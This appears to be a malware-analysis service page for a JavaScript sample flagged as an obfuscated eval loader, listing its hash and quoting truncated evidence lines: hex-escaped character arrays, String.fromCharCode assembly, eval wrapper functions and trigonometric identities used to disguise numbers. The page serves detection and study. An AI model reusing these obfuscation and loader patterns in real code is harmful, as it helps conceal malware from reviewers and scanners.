Suspicious 80% javascript-malware-collection Download

20151214_ba1f416e08cf7a4c0774801c23f98231.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256a67bb55d645915c7be2e1f78deb574eb8a04c06ee9da4223c1017badf017a67d

Evidence

Single-line packed JavaScript loader profile lines 1–2
1var T=new Array();
2O(T,"\x2a");O(T,"\x3c");O(T,"\x36");O(T,"\x5d");O(T,"\x24");O(T,"\x57");O(T,"\x6d");O(T,"\x60");O(T,"\x4f");O(T,"\x53");O(T,"\x4a");O(T,"\x2f");O(T,"\x63");O(T,"\x28");O(T,"\x21");O(T,"\x78");O(T,"\x7a");O(T,"\x67");O(T,"\x74");O(T,"\x45");O(T,"\x36");O(T,"\x61");O(T,"\x49");O(T,"\x59");O(T,"\x6e");O(T,"\x37");O(T,"\x6e");O(T,"\x57");O(T,"\x67");O(T,"\x78");O(T,"\x65");O(T,"\x29");O(T,"\x28");O(T,"\x3b");O(T,"\x44");O(T,"\x43");O(T,"\x71");O(T,"\x5d");O(T,"\x54");O(T,"\x68");O(T,"\x45");O(T,"\x51");O(T,"\x47");O(T,"\x35");O(T,"\x54");O(T,"\x5f");O(T,"\x20");O(T,"\x3f");O(T,"\x65");O(T,"\x41");O(T,"\x7a");O(T,"\x58");O(T,"\x51");O(T, …
0xff hex byte token line 3
3:198… xc0,0xc7,0xca,0xd0,0xd2,0xda,0xdd,0xe1,0xe6,0xee,0xf4,0xf9,0xfd,0xff,0x105,0x10b,0x111,0x117,0x11c,0x120,0x125,0x128,0x12e,0x131,0x13a,0x13e,0x144,0x146,0x14a,0x150,0x158,0x15a,0x15e,0x163,0x16c,0 …
Builds characters with String.fromCharCode line 4
4:242… 40],T[41],T[42],T[43],T[44],T[45],T[46],T[47],T[48],T[49],T[50],String.fromCharCode(10),T[51],T[52],T[53],T[54],T[55],T[56],T[57],T[58],T[59],T[60],T[61],T[62],T[63],String.fromCharCode(13),T[64],T[65],T[66],T[6 …
Calls JavaScript toString conversion method lines 6–8
6:35… iawESX,TlFWdVqp){NGon=parseInt(OYSRZdbSHEC,LJUDCqQiawESX);FUqxo=NGon.toString(TlFWdVqp);return FUqxo;}function BuzuYcaHNPLXnwY(lhXnHdQPGtfqRQpZr,FdINKnJRoLBqvstaCheckUfaFQYqIzOymV,dFRlJnNDFaVmzvxCAxZuZFOivHKqRqmEZeC){eval(lhXnHdQPGtfqRQpZr)}
7function BuzuYcaHNPLXnwY(lhXnHdQPGtfqRQpZr){eval(lhXnHdQPGtfqRQpZr)}
8function YDfgPFgQZQwTKFtEvuBHVweMMZAkCyROKOcpvMVeZaiOi …
Numeric sine-square obfuscation expression lines 12–15
12:8226… 70];y[1045]=T[1771];y[1046]=T[1772];y[1047]=T[1773];y[1048]=T[1774];y[1049]=T[1775];y[1050]=T[1776];y[1051]=T[1777];y[1052]=T[1778];y[1053]=T[1779];y[1054]=T[1780];y[1055]=T[1781];y[1056]=T[1782];y[1057]=T[1783];y[1058]=T[1784];y[1059]=T[1785];y[1060]=T[1786];y[1061]=T[1787];y[1062]=T[1788];y[1063]=T[1789];y[1064]=T[1790];y[1065]=T[1791];y[1066]=T[1792];y[1067]=T[1793];y[1068]=T[1794];y[1069]=T[1795];y[1070]=T[1796];y[1071]=T[1797];y[1072]=T[1798];y[1073]=T[1799];
13var ndfuM=[Z,y];
14var UXwZbKsyo=[];
15function PYYxDagWQNsboCSNb(ndfuM){YSrGrTRMOKN= T[1800];for(wFRHZrzZIWk=Math.round((Math.pow(Math.sin(770), 2) + Math.pow(Math.cos(770), 2) - 1)); wFRHZrzZIWk < (838+688)/763; wFRHZrzZIWk++) {UXwZbKsyo[wFRHZrzZIWk]=Math.round((Math.pow(Math.sin(548), 2) + Math.pow(Math.cos(548), 2) - 1)); while(true) { if(UXwZbKsyo[wFRHZrzZIWk] > ndfuM[wFRHZrzZIWk].length-(823+140)/963) { break; } if (yqnLYLy(BfOuP(ndfuM[wFRHZrzZIWk][UXwZbKsyo[wFRHZrzZIWk]],(4470+54 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.